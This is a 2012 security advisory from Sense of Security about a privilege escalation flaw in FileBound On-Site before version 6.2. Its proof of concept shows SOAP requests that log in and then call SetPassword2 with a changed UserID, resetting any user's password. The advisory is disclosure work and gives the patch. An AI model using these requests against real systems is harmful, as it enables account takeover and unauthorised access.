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2.6 KiB
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82 lines
No EOL
2.6 KiB
Text
Sense of Security - Security Advisory - SOS-12-010
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Release Date. 10-Oct-2012
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Last Update. -
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Vendor Notification Date. 14-Aug-2012
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Product. FileBound On-Site
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Platform. Windows
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Affected versions. All versions prior to 6.2
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Severity Rating. High
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Impact. Privilege escalation
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Attack Vector. From remote with authentication
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Solution Status. Vendor patch
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CVE reference. CVE - not yet assigned
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Details.
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The FileBound On-Site document management application is
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vulnerable to a privilege escalation attack by sending a
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modified password request to the FileBound web service.
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By modifying the UserID value you can reset the password
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of any local user in the application without requiring
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administrative privileges.
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Proof of Concept.
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Authenticate to FileBound via the following web service
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method and SOAP request:
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http://www.company.com/Filebound.asmx?op=Login
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<soapenv:Body>
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<fil:Login>
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<fil:UserName>sosuser</fil:UserName>
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<fil:Password>daisyp0p</fil:Password>
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</fil:Login>
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</soapenv:Body>
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After authentication a request can be sent to the following
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administrator's password reset web service method and
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SOAP request:
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http://www.company.com/Filebound.asmx?op=SetPassword2
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<soapenv:Body>
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<fil:SetPassword2>
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<fil:UserID>32</fil:UserID>
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<fil:Password>lightsouthern</fil:Password>
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<fil:ResetPasswordExpires>0</fil:ResetPasswordExpires>
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</fil:SetPassword2>
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</soapenv:Body>
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By modifying the UserID value the password can be reset for
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any existing user in the system. A response code of -1
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confirms the password reset was successful.
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Solution.
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Install the latest vendor patch.
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Discovered by.
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Nathaniel Carew from Sense of Security Labs.
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About us.
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Sense of Security is a leading provider of information security and
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risk management solutions. Our team has expert skills in assessment
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and assurance, strategy and architecture, and deployment through to
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ongoing management. We are Australia's premier application penetration
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testing firm and trusted IT security advisor to many of the country's
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largest organisations.
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Sense of Security Pty Ltd
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Level 8, 66 King St
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Sydney NSW 2000
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AUSTRALIA
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T: +61 (0)2 9290 4444
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F: +61 (0)2 9290 4455
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W: http://www.senseofsecurity.com.au/consulting/penetration-testing
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E: info@senseofsecurity.com.au
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Twitter: @ITsecurityAU
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The latest version of this advisory can be found at:
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http://www.senseofsecurity.com.au/advisories/SOS-12-010.pdf
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Other Sense of Security advisories can be found at:
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http://www.senseofsecurity.com.au/research/it-security-advisories.php |